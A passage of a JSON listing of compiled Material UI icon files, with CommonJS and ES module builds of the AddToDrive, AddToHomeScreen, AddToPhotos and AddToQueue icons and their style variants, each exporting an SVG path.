    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 21v-3h3v-2h-3v-3h-2v3h-3v2h3v3zm-4.97.5H5.66c-.72 0-1.38-.38-1.73-1l-2.36-4.1c-.36-.62-.35-1.38.01-2L7.92 3.49c.36-.61 1.02-.99 1.73-.99h4.7c.71 0 1.37.38 1.73.99l4.48 7.71c-.5-.13-1.02-.2-1.56-.2q-.42 0-.84.06L14.35 4.5h-4.7L3.31 15.41l2.35 4.09h7.89c.35.77.85 1.45 1.48 2M13.34 15c-.22.63-.34 1.3-.34 2H7.25l-.73-1.27 4.58-7.98h1.8l2.53 4.42c-.56.42-1.05.93-1.44 1.51l-2-3.49L9.25 15z\"\n}), 'AddToDrive');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToDrive.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 21v-3h3v-2h-3v-3h-2v3h-3v2h3v3zm-4.97.5H5.66c-.72 0-1.38-.38-1.73-1l-2.36-4.1c-.36-.62-.35-1.38.01-2L7.92 3.49c.36-.61 1.02-.99 1.73-.99h4.7c.71 0 1.37.38 1.73.99l4.48 7.71c-.5-.13-1.02-.2-1.56-.2q-.42 0-.84.06L14.35 4.5h-4.7L3.31 15.41l2.35 4.09h7.89c.35.77.85 1.45 1.48 2M13.34 15c-.22.63-.34 1.3-.34 2H7.25l-.73-1.27 4.58-7.98h1.8l2.53 4.42c-.56.42-1.05.93-1.44 1.51l-2-3.49L9.25 15z\"\n}), 'AddToDrive');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToDriveOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 11c.17 0 .33.01.49.02L15 3H9l5.68 9.84C15.77 11.71 17.3 11 19 11M8.15 4.52 2 15.5 5 21l6.33-10.97zM13.2 15.5H9.9L6.73 21h7.81c-.96-1.06-1.54-2.46-1.54-4 0-.52.07-1.02.2-1.5m6.8.5v-3h-2v3h-3v2h3v3h2v-3h3v-2z\"\n}), 'AddToDriveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToDriveOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 11c.17 0 .33.01.49.02L15 3H9l5.68 9.84C15.77 11.71 17.3 11 19 11M8.15 4.52 2 15.5 5 21l6.33-10.97zM13.2 15.5H9.9L6.73 21h7.81c-.96-1.06-1.54-2.46-1.54-4 0-.52.07-1.02.2-1.5m6.8.5v-3h-2v3h-3v2h3v3h2v-3h3v-2z\"\n}), 'AddToDriveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToDriveRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 11c.17 0 .33.01.49.02L15 3H9l5.68 9.84C15.77 11.71 17.3 11 19 11M8.15 4.52 2 15.5 5 21l6.33-10.97zM13.2 15.5H9.9L6.73 21h7.81c-.96-1.06-1.54-2.46-1.54-4 0-.52.07-1.02.2-1.5m6.8.5v-3h-2v3h-3v2h3v3h2v-3h3v-2z\"\n}), 'AddToDriveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToDriveRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 11c.17 0 .33.01.49.02L15 3H9l5.68 9.84C15.77 11.71 17.3 11 19 11M8.15 4.52 2 15.5 5 21l6.33-10.97zM13.2 15.5H9.9L6.73 21h7.81c-.96-1.06-1.54-2.46-1.54-4 0-.52.07-1.02.2-1.5m6.8.5v-3h-2v3h-3v2h3v3h2v-3h3v-2z\"\n}), 'AddToDriveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToDriveSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 11c.17 0 .33.01.49.02L15 3H9l5.68 9.84C15.77 11.71 17.3 11 19 11M8.15 4.52 2 15.5 5 21l6.33-10.97zM13.2 15.5H9.9L6.73 21h7.81c-.96-1.06-1.54-2.46-1.54-4 0-.52.07-1.02.2-1.5m6.8.5v-3h-2v3h-3v2h3v3h2v-3h3v-2z\"\n}), 'AddToDriveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToDriveSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 11c.17 0 .33.01.49.02L15 3H9l5.68 9.84C15.77 11.71 17.3 11 19 11M8.15 4.52 2 15.5 5 21l6.33-10.97zM13.2 15.5H9.9L6.73 21h7.81c-.96-1.06-1.54-2.46-1.54-4 0-.52.07-1.02.2-1.5m6.8.5v-3h-2v3h-3v2h3v3h2v-3h3v-2z\"\n}), 'AddToDriveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToDriveTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 11c.17 0 .33.01.49.02L15 3H9l5.68 9.84C15.77 11.71 17.3 11 19 11M8.15 4.52 2 15.5 5 21l6.33-10.97zM13.2 15.5H9.9L6.73 21h7.81c-.96-1.06-1.54-2.46-1.54-4 0-.52.07-1.02.2-1.5m6.8.5v-3h-2v3h-3v2h3v3h2v-3h3v-2z\"\n}), 'AddToDriveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToDriveTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 11c.17 0 .33.01.49.02L15 3H9l5.68 9.84C15.77 11.71 17.3 11 19 11M8.15 4.52 2 15.5 5 21l6.33-10.97zM13.2 15.5H9.9L6.73 21h7.81c-.96-1.06-1.54-2.46-1.54-4 0-.52.07-1.02.2-1.5m6.8.5v-3h-2v3h-3v2h3v3h2v-3h3v-2z\"\n}), 'AddToDriveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToHomeScreen.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1.01 8 1c-1.1 0-2 .9-2 2v3h2V5h10v14H8v-1H6v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M10 15h2V8H5v2h3.59L3 15.59 4.41 17 10 11.41z\"\n}), 'AddToHomeScreen');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToHomeScreen.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1.01 8 1c-1.1 0-2 .9-2 2v3h2V5h10v14H8v-1H6v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M10 15h2V8H5v2h3.59L3 15.59 4.41 17 10 11.41z\"\n}), 'AddToHomeScreen');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToHomeScreenOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1.01 8 1c-1.1 0-2 .9-2 2v3h2V5h10v14H8v-1H6v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M10 15h2V8H5v2h3.59L3 15.59 4.41 17 10 11.41z\"\n}), 'AddToHomeScreenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToHomeScreenOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1.01 8 1c-1.1 0-2 .9-2 2v3h2V5h10v14H8v-1H6v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M10 15h2V8H5v2h3.59L3 15.59 4.41 17 10 11.41z\"\n}), 'AddToHomeScreenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToHomeScreenRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1.01 8 1c-1.1 0-2 .9-2 2v3c0 .55.45 1 1 1s1-.45 1-1V5h10v14H8v-1c0-.55-.45-1-1-1s-1 .45-1 1v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M11 15c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1H6c-.55 0-1 .45-1 1s.45 1 1 1h2.59L3.7 14.89c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L10 11.41V14c0 .55.45 1 1 1\"\n}), 'AddToHomeScreenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToHomeScreenRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1.01 8 1c-1.1 0-2 .9-2 2v3c0 .55.45 1 1 1s1-.45 1-1V5h10v14H8v-1c0-.55-.45-1-1-1s-1 .45-1 1v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M11 15c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1H6c-.55 0-1 .45-1 1s.45 1 1 1h2.59L3.7 14.89c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L10 11.41V14c0 .55.45 1 1 1\"\n}), 'AddToHomeScreenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToHomeScreenSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 1.01 6 1v5h2V5h10v14H8v-1H6v5h14zM10 15h2V8H5v2h3.59L3 15.59 4.41 17 10 11.41z\"\n}), 'AddToHomeScreenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToHomeScreenSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 1.01 6 1v5h2V5h10v14H8v-1H6v5h14zM10 15h2V8H5v2h3.59L3 15.59 4.41 17 10 11.41z\"\n}), 'AddToHomeScreenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToHomeScreenTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1.01 8 1c-1.1 0-2 .9-2 2v3h2V5h10v14H8v-1H6v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M10 15h2V8H5v2h3.59L3 15.59 4.41 17 10 11.41z\"\n}), 'AddToHomeScreenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToHomeScreenTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1.01 8 1c-1.1 0-2 .9-2 2v3h2V5h10v14H8v-1H6v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M10 15h2V8H5v2h3.59L3 15.59 4.41 17 10 11.41z\"\n}), 'AddToHomeScreenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToPhotos.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1 9h-4v4h-2v-4H9V9h4V5h2v4h4z\"\n}), 'AddToPhotos');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToPhotos.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1 9h-4v4h-2v-4H9V9h4V5h2v4h4z\"\n}), 'AddToPhotos');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToPhotosOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12zm-7-1h2v-4h4V9h-4V5h-2v4H9v2h4z\"\n}), 'AddToPhotosOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToPhotosOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12zm-7-1h2v-4h4V9h-4V5h-2v4H9v2h4z\"\n}), 'AddToPhotosOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToPhotosRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 6c-.55 0-1 .45-1 1v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1-.45-1-1V7c0-.55-.45-1-1-1m17-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-2 9h-3v3c0 .55-.45 1-1 1s-1-.45-1-1v-3h-3c-.55 0-1-.45-1-1s.45-1 1-1h3V6c0-.55.45-1 1-1s1 .45 1 1v3h3c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'AddToPhotosRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToPhotosRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 6c-.55 0-1 .45-1 1v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1-.45-1-1V7c0-.55-.45-1-1-1m17-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-2 9h-3v3c0 .55-.45 1-1 1s-1-.45-1-1v-3h-3c-.55 0-1-.45-1-1s.45-1 1-1h3V6c0-.55.45-1 1-1s1 .45 1 1v3h3c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'AddToPhotosRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToPhotosSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v16h16v-2H4zm18-4H6v16h16zm-3 9h-4v4h-2v-4H9V9h4V5h2v4h4z\"\n}), 'AddToPhotosSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToPhotosSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v16h16v-2H4zm18-4H6v16h16zm-3 9h-4v4h-2v-4H9V9h4V5h2v4h4z\"\n}), 'AddToPhotosSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToPhotosTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H8v12h12zm-1 7h-4v4h-2v-4H9V9h4V5h2v4h4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 22h14v-2H4V6H2v14c0 1.1.9 2 2 2m4-4h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2M8 4h12v12H8zm7 1h-2v4H9v2h4v4h2v-4h4V9h-4z\"\n}, \"1\")], 'AddToPhotosTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToPhotosTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H8v12h12zm-1 7h-4v4h-2v-4H9V9h4V5h2v4h4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 22h14v-2H4V6H2v14c0 1.1.9 2 2 2m4-4h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2M8 4h12v12H8zm7 1h-2v4H9v2h4v4h2v-4h4V9h-4z\"\n}, \"1\")], 'AddToPhotosTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToQueue.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h5v2h8v-2h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.11-.9-2-2-2m0 14H3V5h18zm-5-7v2h-3v3h-2v-3H8v-2h3V7h2v3z\"\n}), 'AddToQueue');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToQueue.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h5v2h8v-2h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.11-.9-2-2-2m0 14H3V5h18zm-5-7v2h-3v3h-2v-3H8v-2h3V7h2v3z\"\n}), 'AddToQueue');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToQueueOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 15h2v-3h3v-2h-3V7h-2v3H8v2h3zM21 3H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h5v2h8v-2h5c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 14H3V5h18z\"\n}), 'AddToQueueOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToQueueOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 15h2v-3h3v-2h-3V7h-2v3H8v2h3zM21 3H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h5v2h8v-2h5c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 14H3V5h18z\"\n}), 'AddToQueueOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToQueueRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h5c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m-1 14H4c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1m-4-6c0 .55-.45 1-1 1h-2v2c0 .55-.45 1-1 1s-1-.45-1-1v-2H9c-.55 0-1-.45-1-1s.45-1 1-1h2V8c0-.55.45-1 1-1s1 .45 1 1v2h2c.55 0 1 .45 1 1\"\n}), 'AddToQueueRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToQueueRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h5c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m-1 14H4c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1m-4-6c0 .55-.45 1-1 1h-2v2c0 .55-.45 1-1 1s-1-.45-1-1v-2H9c-.55 0-1-.45-1-1s.45-1 1-1h2V8c0-.55.45-1 1-1s1 .45 1 1v2h2c.55 0 1 .45 1 1\"\n}), 'AddToQueueRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToQueueSharp.js",
